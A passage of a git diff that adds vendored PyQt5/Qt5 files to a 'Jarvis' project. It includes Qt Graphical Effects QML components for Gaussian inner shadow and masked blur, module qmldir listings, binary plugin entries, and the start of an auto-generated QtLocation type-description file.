a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianInnerShadow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianInnerShadow.qml new file mode 100644 index 00000000..a0b39e9f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianInnerShadow.qml @@ -0,0 +1,123 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +Item { + id: rootItem + property variant source + property real radius: 0.0 + property int maximumRadius: 0 + property real horizontalOffset: 0 + property real verticalOffset: 0 + property real spread: 0 + property color color: "black" + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect{ + id: shadowItem + anchors.fill: parent + + property variant original: sourceProxy.output + property color color: rootItem.color + property real horizontalOffset: rootItem.horizontalOffset / rootItem.width + property real verticalOffset: rootItem.verticalOffset / rootItem.height + + visible: false + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/gaussianinnershadow_shadow.frag" + } + + GaussianDirectionalBlur { + id: blurItem + anchors.fill: parent + horizontalStep: 0.0 + verticalStep: 1.0 / parent.height + source: horizontalBlur + radius: rootItem.radius + maximumRadius: rootItem.maximumRadius + visible: false + } + + GaussianDirectionalBlur { + id: horizontalBlur + width: transparentBorder ? parent.width + 2 * maximumRadius : parent.width + height: parent.height + horizontalStep: 1.0 / parent.width + verticalStep: 0.0 + source: shadowItem + radius: rootItem.radius + maximumRadius: rootItem.maximumRadius + visible: false + } + + ShaderEffectSource { + id: blurredSource + sourceItem: blurItem + live: true + smooth: true + } + + ShaderEffect { + id: shaderItem + anchors.fill: parent + + property variant original: sourceProxy.output + property variant shadow: blurredSource + property real spread: 1.0 - (rootItem.spread * 0.98) + property color color: rootItem.color + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/gaussianinnershadow.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianInnerShadow.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianInnerShadow.qmlc new file mode 100644 index 00000000..02fc0f55 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianInnerShadow.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianMaskedBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianMaskedBlur.qml new file mode 100644 index 00000000..8273973f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianMaskedBlur.qml @@ -0,0 +1,104 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +Item { + id: rootItem + property variant source + property variant maskSource + property real radius: 0.0 + property int maximumRadius: 0 + property bool cached: false + property bool transparentBorder: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + sourceRect: rootItem.transparentBorder ? Qt.rect(-1, -1, parent.width + 2.0, parent.height + 2.0) : Qt.rect(0, 0, 0, 0) + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.maskSource + sourceRect: rootItem.transparentBorder ? Qt.rect(-1, -1, parent.width + 2.0, parent.height + 2.0) : Qt.rect(0, 0, 0, 0) + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: blur + visible: rootItem.cached + smooth: true + sourceItem: blur + live: true + hideSource: visible + } + + GaussianDirectionalBlur { + id: blur + x: transparentBorder ? -maximumRadius - 1: 0 + y: transparentBorder ? -maximumRadius - 1: 0 + width: horizontalBlur.width + height: horizontalBlur.height + horizontalStep: 0.0 + verticalStep: 1.0 / parent.height + source: horizontalBlur + enableMask: true + maskSource: maskSourceProxy.output + radius: rootItem.radius + maximumRadius: rootItem.maximumRadius + transparentBorder: rootItem.transparentBorder + } + + GaussianDirectionalBlur { + id: horizontalBlur + width: transparentBorder ? parent.width + 2 * maximumRadius + 2 : parent.width + height: transparentBorder ? parent.height + 2 * maximumRadius + 2 : parent.height + horizontalStep: 1.0 / parent.width + verticalStep: 0.0 + source: sourceProxy.output + enableMask: true + maskSource: maskSourceProxy.output + radius: rootItem.radius + maximumRadius: rootItem.maximumRadius + transparentBorder: rootItem.transparentBorder + visible: false + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianMaskedBlur.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianMaskedBlur.qmlc new file mode 100644 index 00000000..d1f66b8a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/GaussianMaskedBlur.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/qmldir new file mode 100644 index 00000000..2d4bdacb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/qmldir @@ -0,0 +1,11 @@ +module QtGraphicalEffects.private +plugin qtgraphicaleffectsprivate +classname QtGraphicalEffectsPrivatePlugin +FastGlow 1.0 FastGlow.qml +FastInnerShadow 1.0 FastInnerShadow.qml +FastMaskedBlur 1.0 FastMaskedBlur.qml +GaussianDirectionalBlur 1.0 GaussianDirectionalBlur.qml +GaussianGlow 1.0 GaussianGlow.qml +GaussianInnerShadow 1.0 GaussianInnerShadow.qml +GaussianMaskedBlur 1.0 GaussianMaskedBlur.qml +DropShadowBase 1.0 DropShadowBase.qml diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/qtgraphicaleffectsprivate.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/qtgraphicaleffectsprivate.dll new file mode 100644 index 00000000..61184f9b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/qtgraphicaleffectsprivate.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/qmldir new file mode 100644 index 00000000..72233b56 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/qmldir @@ -0,0 +1,31 @@ +module QtGraphicalEffects +plugin qtgraphicaleffectsplugin +classname QtGraphicalEffectsPlugin +Blend 1.0 Blend.qml +BrightnessContrast 1.0 BrightnessContrast.qml +Colorize 1.0 Colorize.qml +ColorOverlay 1.0 ColorOverlay.qml +ConicalGradient 1.0 ConicalGradient.qml +Desaturate 1.0 Desaturate.qml +DirectionalBlur 1.0 DirectionalBlur.qml +Displace 1.0 Displace.qml +DropShadow 1.0 DropShadow.qml +FastBlur 1.0 FastBlur.qml +GammaAdjust 1.0 GammaAdjust.qml +GaussianBlur 1.0 GaussianBlur.qml +Glow 1.0 Glow.qml +HueSaturation 1.0 HueSaturation.qml +InnerShadow 1.0 InnerShadow.qml +LevelAdjust 1.0 LevelAdjust.qml +LinearGradient 1.0 LinearGradient.qml +MaskedBlur 1.0 MaskedBlur.qml +OpacityMask 1.0 OpacityMask.qml +RadialBlur 1.0 RadialBlur.qml +RadialGradient 1.0 RadialGradient.qml +RecursiveBlur 1.0 RecursiveBlur.qml +RectangularGlow 1.0 RectangularGlow.qml +ThresholdMask 1.0 ThresholdMask.qml +ZoomBlur 1.0 ZoomBlur.qml +designersupported +depends QtGraphicalEffects/private 1.0 +depends QtQuick.Window 2.1 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/qtgraphicaleffectsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/qtgraphicaleffectsplugin.dll new file mode 100644 index 00000000..3f1ba56f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/qtgraphicaleffectsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/declarative_location.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/declarative_location.dll new file mode 100644 index 00000000..a48d75d1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/declarative_location.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/plugins.qmltypes new file mode 100644 index 00000000..27d8cbed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/plugins.qmltypes @@ -0,0 +1,1844 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtLocation 5.14' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: { + "NoLayoutChangeHint": 0, + "VerticalSortHint": 1, + "HorizontalSortHint": 2 + } + } + Enum { + name: "CheckIndexOption" + values: { + "NoOption": 0, + "IndexIsValid": 1, + "DoNotUseParent": 2, + "ParentIsInvalid": 4 + } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + name: "QDeclarativeCategory" + prototype: "QObject" + exports: ["QtLocation/Category 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Visibility" + values: { + "UnspecifiedVisibility": 0, + "DeviceVisibility": 1, + "PrivateVisibility": 2, + "PublicVisibility": 4 + } + } + Enum { + name: "Status" + values: { + "Ready": 0, + "Saving": 1, + "Removing": 2, + "Error": 3 + } + } + Property { name: "category"; type: "QPlaceCategory" } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "categoryId"; type: "string" } + Property { name: "name"; type: "string" } + Property { name: "visibility"; type: "Visibility" } + Property { name: "icon"; type: "QDeclarativePlaceIcon"; isPointer: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Method { name: "errorString"; type: "string" } + Method { + name: "save" + Parameter { name: "parentId"; type: "string" } + } + Method { name: "save" } + Method { name: "remove" } + } + Component { + name: "QDeclarativeCircleMapItem" + defaultProperty: "data" + prototype: "QDeclarativeGeoMapItemBase" + exports: ["QtLocation/MapCircle 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "center"; type: "QGeoCoordinate" } + Property { name: "radius"; type: "double" } + Property { name: "color"; type: "QColor" } + Property { + name: "border" + type: "QDeclarativeMapLineProperties" + isReadonly: true + isPointer: true + } + Signal { + name: "centerChanged" + Parameter { name: "center"; type: "QGeoCoordinate" } + } + Signal { + name: "radiusChanged" + Parameter { name: "radius"; type: "double" } + } + Signal { + name: "colorChanged" + Parameter { name: "color"; type: "QColor" } + } + } + Component { + name: "QDeclarativeContactDetail" + prototype: "QObject" + exports: ["QtLocation/ContactDetail 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "contactDetail"; type: "QPlaceContactDetail" } + Property { name: "label"; type: "string" } + Property { name: "value"; type: "string" } + } + Component { + name: "QDeclarativeContactDetails" + prototype: "QQmlPropertyMap" + exports: ["QtLocation/ContactDetails 5.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + } + Component { + name: "QDeclarativeGeoCameraCapabilities" + prototype: "QObject" + exports: ["QtLocation/CameraCapabilities 5.10"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "minimumZoomLevel"; type: "double"; isReadonly: true } + Property { name: "maximumZoomLevel"; type: "double"; isReadonly: true } + Property { name: "minimumTilt"; type: "double"; isReadonly: true } + Property { name: "maximumTilt"; type: "double"; isReadonly: true } + Property { name: "minimumFieldOfView"; type: "double"; isReadonly: true } + Property { name: "maximumFieldOfView"; type: "double"; isReadonly: true } + } + Component { + name: "QDeclarativeGeoManeuver" + prototype: "QObject" + exports: [ + "QtLocation/RouteManeuver 5.0", + "QtLocation/RouteManeuver 5.11", + "QtLocation/RouteManeuver 5.8" + ] + exportMetaObjectRevisions: [0, 11, 0] + Enum { + name: "Direction" + values: { + "NoDirection": 0, + "DirectionForward": 1, + "DirectionBearRight": 2, + "DirectionLightRight": 3, + "DirectionRight": 4, + "DirectionHardRight": 5, + "DirectionUTurnRight": 6, + "DirectionUTurnLeft": 7, + "DirectionHardLeft": 8, + "DirectionLeft": 9, + "DirectionLightLeft": 10, + "DirectionBearLeft": 11 + } + } + Property { name: "valid"; type: "bool"; isReadonly: true } + Property { name: "position"; type: "QGeoCoordinate"; isReadonly: true } + Property { name: "instructionText"; type: "string"; isReadonly: true } + Property { name: "direction"; type: "Direction"; isReadonly: true } + Property { name: "timeToNextInstruction"; type: "int"; isReadonly: true } + Property { name: "distanceToNextInstruction"; type: "double"; isReadonly: true } + Property { name: "waypoint"; type: "QGeoCoordinate"; isReadonly: true } + Property { name: "waypointValid"; type: "bool"; isReadonly: true } + Property { + name: "extendedAttributes" + revision: 11 + type: "QObject" + isReadonly: true + isPointer: true + } + } + Component { + name: "QDeclarativeGeoMap" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtLocation/Map 5.0", + "QtLocation/Map 5.11", + "QtLocation/Map 5.12", + "QtLocation/Map 5.13", + "QtLocation/Map 5.14" + ] + exportMetaObjectRevisions: [0, 11, 12, 13, 14] + Property { name: "gesture"; type: "QQuickGeoMapGestureArea"; isReadonly: true; isPointer: true } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "minimumZoomLevel"; type: "double" } + Property { name: "maximumZoomLevel"; type: "double" } + Property { name: "zoomLevel"; type: "double" } + Property { name: "tilt"; type: "double" } + Property { name: "minimumTilt"; type: "double" } + Property { name: "maximumTilt"; type: "double" } + Property { name: "bearing"; type: "double" } + Property { name: "fieldOfView"; type: "double" } + Property { name: "minimumFieldOfView"; type: "double" } + Property { name: "maximumFieldOfView"; type: "double" } + Property { name: "activeMapType"; type: "QDeclarativeGeoMapType"; isPointer: true } + Property { + name: "supportedMapTypes" + type: "QDeclarativeGeoMapType" + isList: true + isReadonly: true + } + Property { name: "center"; type: "QGeoCoordinate" } + Property { name: "mapItems"; type: "QList"; isReadonly: true } + Property { name: "mapParameters"; type: "QList"; isReadonly: true } + Property { name: "error"; type: "QGeoServiceProvider::Error"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "visibleRegion"; type: "QGeoShape" } + Property { name: "copyrightsVisible"; type: "bool" } + Property { name: "color"; type: "QColor" } + Property { name: "mapReady"; type: "bool"; isReadonly: true } + Property { name: "visibleArea"; revision: 12; type: "QRectF" } + Signal { + name: "pluginChanged" + Parameter { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + } + Signal { + name: "zoomLevelChanged" + Parameter { name: "zoomLevel"; type: "double" } + } + Signal { + name: "centerChanged" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Signal { + name: "copyrightLinkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "copyrightsVisibleChanged" + Parameter { name: "visible"; type: "bool" } + } + Signal { + name: "colorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "bearingChanged" + Parameter { name: "bearing"; type: "double" } + } + Signal { + name: "tiltChanged" + Parameter { name: "tilt"; type: "double" } + } + Signal { + name: "fieldOfViewChanged" + Parameter { name: "fieldOfView"; type: "double" } + } + Signal { + name: "minimumTiltChanged" + Parameter { name: "minimumTilt"; type: "double" } + } + Signal { + name: "maximumTiltChanged" + Parameter { name: "maximumTilt"; type: "double" } + } + Signal { + name: "minimumFieldOfViewChanged" + Parameter { name: "minimumFieldOfView"; type: "double" } + } + Signal { + name: "maximumFieldOfViewChanged" + Parameter { name: "maximumFieldOfView"; type: "double" } + } + Signal { + name: "copyrightsChanged" + Parameter { name: "copyrightsImage"; type: "QImage" } + } + Signal { + name: "copyrightsChanged" + Parameter { name: "copyrightsHtml"; type: "string" } + } + Signal { + name: "mapReadyChanged" + Parameter { name: "ready"; type: "bool" } + } + Signal { name: "mapObjectsChanged"; revision: 11 } + Signal { name: "visibleRegionChanged"; revision: 14 } + Method { + name: "setBearing" + Parameter { name: "bearing"; type: "double" } + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { + name: "alignCoordinateToPoint" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "removeMapItem" + Parameter { name: "item"; type: "QDeclarativeGeoMapItemBase"; isPointer: true } + } + Method { + name: "addMapItem" + Parameter { name: "item"; type: "QDeclarativeGeoMapItemBase"; isPointer: true } + } + Method { + name: "addMapItemGroup" + Parameter { name: "itemGroup"; type: "QDeclarativeGeoMapItemGroup"; isPointer: true } + } + Method { + name: "removeMapItemGroup" + Parameter { name: "itemGroup"; type: "QDeclarativeGeoMapItemGroup"; isPointer: true } + } + Method { + name: "removeMapItemView" + Parameter { name: "itemView"; type: "QDeclarativeGeoMapItemView"; isPointer: true } + } + Method { + name: "addMapItemView" + Parameter { name: "itemView"; type: "QDeclarativeGeoMapItemView"; isPointer: true } + } + Method { name: "clearMapItems" } + Method { + name: "addMapParameter" + Parameter { name: "parameter"; type: "QDeclarativeGeoMapParameter"; isPointer: true } + } + Method { + name: "removeMapParameter" + Parameter { name: "parameter"; type: "QDeclarativeGeoMapParameter"; isPointer: true } + } + Method { name: "clearMapParameters" } + Method { + name: "toCoordinate" + type: "QGeoCoordinate" + Parameter { name: "position"; type: "QPointF" } + Parameter { name: "clipToViewPort"; type: "bool" } + } + Method { + name: "toCoordinate" + type: "QGeoCoordinate" + Parameter { name: "position"; type: "QPointF" } + } + Method { + name: "fromCoordinate" + type: "QPointF" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + Parameter { name: "clipToViewPort"; type: "bool" } + } + Method { + name: "fromCoordinate" + type: "QPointF" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { name: "fitViewportToMapItems" } + Method { name: "fitViewportToVisibleMapItems" } + Method { + name: "pan" + Parameter { name: "dx"; type: "int" } + Parameter { name: "dy"; type: "int" } + } + Method { name: "prefetchData" } + Method { name: "clearData" } + Method { + name: "fitViewportToGeoShape" + revision: 13 + Parameter { name: "shape"; type: "QGeoShape" } + Parameter { name: "margins"; type: "QVariant" } + } + } + Component { + name: "QDeclarativeGeoMapCopyrightNotice" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtLocation/MapCopyrightNotice 5.9"] + exportMetaObjectRevisions: [0] + Property { name: "mapSource"; type: "QDeclarativeGeoMap"; isPointer: true } + Property { name: "styleSheet"; type: "string" } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "backgroundColorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "styleSheetChanged" + Parameter { name: "styleSheet"; type: "string" } + } + Signal { name: "copyrightsVisibleChanged" } + Method { + name: "copyrightsChanged" + Parameter { name: "copyrightsImage"; type: "QImage" } + } + Method { + name: "copyrightsChanged" + Parameter { name: "copyrightsHtml"; type: "string" } + } + Method { + name: "onCopyrightsStyleSheetChanged" + Parameter { name: "styleSheet"; type: "string" } + } + } + Component { + name: "QDeclarativeGeoMapItemBase" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtLocation/GeoMapItemBase 5.0", + "QtLocation/GeoMapItemBase 5.11", + "QtLocation/GeoMapItemBase 5.14" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 11, 14] + Property { name: "geoShape"; type: "QGeoShape" } + Property { name: "autoFadeIn"; revision: 14; type: "bool" } + Signal { name: "mapItemOpacityChanged" } + Signal { name: "addTransitionFinished"; revision: 12 } + Signal { name: "removeTransitionFinished"; revision: 12 } + } + Component { + name: "QDeclarativeGeoMapItemGroup" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtLocation/MapItemGroup 5.9"] + exportMetaObjectRevisions: [0] + Signal { name: "mapItemOpacityChanged" } + Signal { name: "addTransitionFinished" } + Signal { name: "removeTransitionFinished" } + } + Component { + name: "QDeclarativeGeoMapItemView" + defaultProperty: "data" + prototype: "QDeclarativeGeoMapItemGroup" + 